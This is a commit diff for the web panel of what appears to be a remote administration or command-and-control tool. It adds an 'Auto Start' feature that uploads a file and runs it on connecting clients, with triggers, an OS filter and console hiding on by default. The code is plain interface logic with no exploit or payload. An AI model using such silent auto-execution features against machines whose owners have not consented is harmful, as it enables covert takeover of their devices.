auto execution implemented and fix issue when uninstalling clients and them being shown in the menu when they connect to purgatory
This commit is contained in:
@@ -626,5 +626,225 @@ clearOutputBtn.addEventListener("click", () => {
|
||||
'<div class="text-slate-500">No commands dispatched yet.</div>';
|
||||
});
|
||||
|
||||
const autoDeployNameInput = document.getElementById("auto-deploy-name");
|
||||
const autoDeployTriggerSelect = document.getElementById("auto-deploy-trigger");
|
||||
const autoDeployZone = document.getElementById("auto-deploy-zone");
|
||||
const autoDeployFileInput = document.getElementById("auto-deploy-file-input");
|
||||
const autoDeployFileStatus = document.getElementById("auto-deploy-file-status");
|
||||
const autoDeployArgsInput = document.getElementById("auto-deploy-args");
|
||||
const autoDeployHideWindow = document.getElementById("auto-deploy-hide-window");
|
||||
const autoDeploySaveBtn = document.getElementById("auto-deploy-save-btn");
|
||||
const autoDeployCancelBtn = document.getElementById("auto-deploy-cancel-btn");
|
||||
const autoDeployList = document.getElementById("auto-deploy-list");
|
||||
|
||||
let autoDeployFile = null;
|
||||
let autoDeployEditId = null;
|
||||
|
||||
if (autoDeployZone) {
|
||||
autoDeployZone.addEventListener("click", () => autoDeployFileInput.click());
|
||||
autoDeployZone.addEventListener("dragover", (e) => {
|
||||
e.preventDefault();
|
||||
autoDeployZone.classList.add("border-cyan-500");
|
||||
});
|
||||
autoDeployZone.addEventListener("dragleave", () => {
|
||||
autoDeployZone.classList.remove("border-cyan-500");
|
||||
});
|
||||
autoDeployZone.addEventListener("drop", (e) => {
|
||||
e.preventDefault();
|
||||
autoDeployZone.classList.remove("border-cyan-500");
|
||||
const f = e.dataTransfer?.files?.[0];
|
||||
if (f) {
|
||||
autoDeployFile = f;
|
||||
autoDeployFileStatus.textContent = `${f.name} (${formatBytes(f.size)})`;
|
||||
autoDeployFileStatus.className = "mt-1 text-xs text-emerald-400";
|
||||
}
|
||||
});
|
||||
autoDeployFileInput.addEventListener("change", (e) => {
|
||||
const f = e.target.files?.[0];
|
||||
if (f) {
|
||||
autoDeployFile = f;
|
||||
autoDeployFileStatus.textContent = `${f.name} (${formatBytes(f.size)})`;
|
||||
autoDeployFileStatus.className = "mt-1 text-xs text-emerald-400";
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function getAutoDeployOsFilter() {
|
||||
const checked = [];
|
||||
document.querySelectorAll('input[name="auto-deploy-os"]:checked').forEach((cb) => {
|
||||
checked.push(cb.value);
|
||||
});
|
||||
return checked;
|
||||
}
|
||||
|
||||
function clearAutoDeployOsFilter() {
|
||||
document.querySelectorAll('input[name="auto-deploy-os"]').forEach((cb) => {
|
||||
cb.checked = false;
|
||||
});
|
||||
}
|
||||
|
||||
function resetAutoDeployForm() {
|
||||
autoDeployNameInput.value = "";
|
||||
autoDeployTriggerSelect.value = "on_connect";
|
||||
autoDeployArgsInput.value = "";
|
||||
autoDeployHideWindow.checked = true;
|
||||
autoDeployFile = null;
|
||||
autoDeployFileInput.value = "";
|
||||
autoDeployFileStatus.textContent = "No file selected";
|
||||
autoDeployFileStatus.className = "mt-1 text-xs text-slate-400";
|
||||
clearAutoDeployOsFilter();
|
||||
autoDeployEditId = null;
|
||||
autoDeployCancelBtn.classList.add("hidden");
|
||||
autoDeploySaveBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Save Auto Start';
|
||||
}
|
||||
|
||||
async function loadAutoDeploys() {
|
||||
try {
|
||||
const res = await fetch("/api/auto-deploys");
|
||||
if (!res.ok) return;
|
||||
const data = await res.json();
|
||||
renderAutoDeployList(data.items || []);
|
||||
} catch (err) {
|
||||
console.error("Failed to load auto deploys:", err);
|
||||
}
|
||||
}
|
||||
|
||||
function triggerLabel(trigger) {
|
||||
switch (trigger) {
|
||||
case "on_connect": return "Every connect";
|
||||
case "on_connect_once": return "Once per client";
|
||||
case "on_first_connect": return "First connect only";
|
||||
default: return trigger;
|
||||
}
|
||||
}
|
||||
|
||||
function renderAutoDeployList(items) {
|
||||
if (items.length === 0) {
|
||||
autoDeployList.innerHTML = '<div class="text-slate-500 text-sm">No auto start rules configured.</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
autoDeployList.innerHTML = items
|
||||
.map((item) => {
|
||||
const osText = item.osFilter && item.osFilter.length > 0
|
||||
? item.osFilter.join(", ")
|
||||
: "any";
|
||||
const statusColor = item.enabled ? "text-emerald-400" : "text-slate-500";
|
||||
const statusIcon = item.enabled ? "fa-circle-check" : "fa-circle-pause";
|
||||
return `
|
||||
<div class="flex items-center justify-between p-3 rounded-lg border border-slate-800 bg-slate-950/60" data-id="${escapeHtml(item.id)}">
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid ${statusIcon} ${statusColor} text-sm"></i>
|
||||
<span class="font-semibold text-slate-100 text-sm truncate">${escapeHtml(item.name)}</span>
|
||||
</div>
|
||||
<div class="text-xs text-slate-400 mt-1 flex flex-wrap gap-x-3">
|
||||
<span><i class="fa-solid fa-file mr-1"></i>${escapeHtml(item.fileName)}</span>
|
||||
<span><i class="fa-solid fa-bolt mr-1"></i>${triggerLabel(item.trigger)}</span>
|
||||
<span><i class="fa-solid fa-desktop mr-1"></i>${escapeHtml(osText)}</span>
|
||||
${item.args ? `<span><i class="fa-solid fa-terminal mr-1"></i>${escapeHtml(item.args)}</span>` : ""}
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex items-center gap-2 ml-3 shrink-0">
|
||||
<button class="auto-deploy-toggle px-2 py-1 rounded text-xs ${item.enabled ? 'bg-amber-700 hover:bg-amber-600' : 'bg-emerald-700 hover:bg-emerald-600'} text-white" data-id="${escapeHtml(item.id)}" data-enabled="${item.enabled}">
|
||||
${item.enabled ? '<i class="fa-solid fa-pause"></i>' : '<i class="fa-solid fa-play"></i>'}
|
||||
</button>
|
||||
<button class="auto-deploy-delete px-2 py-1 rounded text-xs bg-red-800 hover:bg-red-700 text-white" data-id="${escapeHtml(item.id)}">
|
||||
<i class="fa-solid fa-trash"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>`;
|
||||
})
|
||||
.join("");
|
||||
|
||||
autoDeployList.querySelectorAll(".auto-deploy-toggle").forEach((btn) => {
|
||||
btn.addEventListener("click", async () => {
|
||||
const id = btn.dataset.id;
|
||||
const currentlyEnabled = btn.dataset.enabled === "true";
|
||||
try {
|
||||
const res = await fetch(`/api/auto-deploys/${encodeURIComponent(id)}`, {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ enabled: !currentlyEnabled }),
|
||||
});
|
||||
if (res.ok) loadAutoDeploys();
|
||||
} catch (err) {
|
||||
console.error("Toggle failed:", err);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
autoDeployList.querySelectorAll(".auto-deploy-delete").forEach((btn) => {
|
||||
btn.addEventListener("click", async () => {
|
||||
const id = btn.dataset.id;
|
||||
if (!confirm("Delete this auto start rule?")) return;
|
||||
try {
|
||||
const res = await fetch(`/api/auto-deploys/${encodeURIComponent(id)}`, {
|
||||
method: "DELETE",
|
||||
});
|
||||
if (res.ok) loadAutoDeploys();
|
||||
} catch (err) {
|
||||
console.error("Delete failed:", err);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
if (autoDeploySaveBtn) {
|
||||
autoDeploySaveBtn.addEventListener("click", async () => {
|
||||
const name = autoDeployNameInput.value.trim();
|
||||
if (!name) {
|
||||
alert("Please enter a task name.");
|
||||
return;
|
||||
}
|
||||
if (!autoDeployFile) {
|
||||
alert("Please select a file to deploy.");
|
||||
return;
|
||||
}
|
||||
|
||||
const trigger = autoDeployTriggerSelect.value;
|
||||
const args = autoDeployArgsInput.value;
|
||||
const hideWindow = autoDeployHideWindow.checked;
|
||||
const osFilter = getAutoDeployOsFilter();
|
||||
|
||||
autoDeploySaveBtn.disabled = true;
|
||||
|
||||
try {
|
||||
const form = new FormData();
|
||||
form.append("file", autoDeployFile, autoDeployFile.name);
|
||||
form.append("name", name);
|
||||
form.append("trigger", trigger);
|
||||
form.append("args", args);
|
||||
form.append("hideWindow", String(hideWindow));
|
||||
form.append("enabled", "true");
|
||||
form.append("osFilter", JSON.stringify(osFilter));
|
||||
|
||||
const res = await fetch("/api/auto-deploys", {
|
||||
method: "POST",
|
||||
body: form,
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}));
|
||||
alert(data.error || "Failed to save auto start rule");
|
||||
return;
|
||||
}
|
||||
|
||||
resetAutoDeployForm();
|
||||
loadAutoDeploys();
|
||||
} catch (err) {
|
||||
console.error("Save auto deploy failed:", err);
|
||||
alert("Failed to save auto start rule.");
|
||||
} finally {
|
||||
autoDeploySaveBtn.disabled = false;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (autoDeployCancelBtn) {
|
||||
autoDeployCancelBtn.addEventListener("click", resetAutoDeployForm);
|
||||
}
|
||||
|
||||
checkAuth();
|
||||
loadClients();
|
||||
loadAutoDeploys();
|
||||
|
||||
@@ -218,6 +218,127 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Auto Start -->
|
||||
<div class="lg:col-span-3">
|
||||
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
|
||||
<div class="flex items-center justify-between mb-4">
|
||||
<div>
|
||||
<h2 class="text-xl font-semibold">Auto Start</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
Automatically deploy and run a file on clients when they connect
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="space-y-4">
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">Task Name</label>
|
||||
<input
|
||||
id="auto-deploy-name"
|
||||
type="text"
|
||||
placeholder="e.g. Deploy monitoring agent"
|
||||
class="w-full px-4 py-2 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-cyan-500"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">Trigger</label>
|
||||
<select
|
||||
id="auto-deploy-trigger"
|
||||
class="w-full px-4 py-2 rounded-lg border border-slate-700 bg-slate-800 text-slate-100"
|
||||
>
|
||||
<option value="on_connect">On connect (every session)</option>
|
||||
<option value="on_connect_once">On connect (only once per client)</option>
|
||||
<option value="on_first_connect">On first connect (new clients only)</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">File to Deploy</label>
|
||||
<div
|
||||
id="auto-deploy-zone"
|
||||
class="border-2 border-dashed border-slate-700 rounded-xl p-4 bg-slate-950/60 hover:border-cyan-500 transition-colors cursor-pointer"
|
||||
>
|
||||
<div class="flex items-center gap-4">
|
||||
<div class="w-10 h-10 rounded-full bg-cyan-900/40 flex items-center justify-center text-cyan-300">
|
||||
<i class="fa-solid fa-cloud-arrow-up text-sm"></i>
|
||||
</div>
|
||||
<div>
|
||||
<div class="font-semibold text-slate-100 text-sm">Drag & drop a file</div>
|
||||
<div class="text-xs text-slate-400">or click to select</div>
|
||||
</div>
|
||||
</div>
|
||||
<input id="auto-deploy-file-input" type="file" class="hidden" />
|
||||
</div>
|
||||
<div class="mt-1 text-xs text-slate-400" id="auto-deploy-file-status">No file selected</div>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">Arguments (optional)</label>
|
||||
<input
|
||||
id="auto-deploy-args"
|
||||
type="text"
|
||||
placeholder="e.g. /quiet /norestart"
|
||||
class="w-full px-4 py-2 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-cyan-500"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">OS Filter <span class="text-slate-500">(unchecked = any)</span></label>
|
||||
<div class="flex flex-wrap gap-x-4 gap-y-1.5 mt-1">
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="windows" class="w-4 h-4 rounded accent-cyan-500"> Windows
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="linux" class="w-4 h-4 rounded accent-cyan-500"> Linux
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="darwin" class="w-4 h-4 rounded accent-cyan-500"> macOS
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="android" class="w-4 h-4 rounded accent-cyan-500"> Android
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="freebsd" class="w-4 h-4 rounded accent-cyan-500"> FreeBSD
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<label class="flex items-center gap-3 rounded-lg border border-slate-800 bg-slate-950/60 px-4 py-3 text-sm text-slate-300">
|
||||
<input id="auto-deploy-hide-window" type="checkbox" class="w-4 h-4 rounded border-slate-600 bg-slate-700" checked />
|
||||
<div class="flex flex-col">
|
||||
<span class="font-semibold">Hide window (Windows)</span>
|
||||
<span class="text-xs text-slate-500">Runs without showing a console window.</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<div class="flex items-center gap-2">
|
||||
<button
|
||||
id="auto-deploy-save-btn"
|
||||
class="px-5 py-2 rounded-lg bg-cyan-600 hover:bg-cyan-700 text-white font-semibold flex items-center gap-2"
|
||||
>
|
||||
<i class="fa-solid fa-bolt"></i> Save Auto Start
|
||||
</button>
|
||||
<button
|
||||
id="auto-deploy-cancel-btn"
|
||||
class="px-5 py-2 rounded-lg bg-slate-700 hover:bg-slate-600 text-white font-semibold hidden"
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="mt-6">
|
||||
<div class="text-sm text-slate-400 mb-2">Active Auto Start Rules</div>
|
||||
<div id="auto-deploy-list" class="space-y-2 max-h-96 overflow-auto">
|
||||
<div class="text-slate-500 text-sm">Loading...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
|
||||
Reference in New Issue
Block a user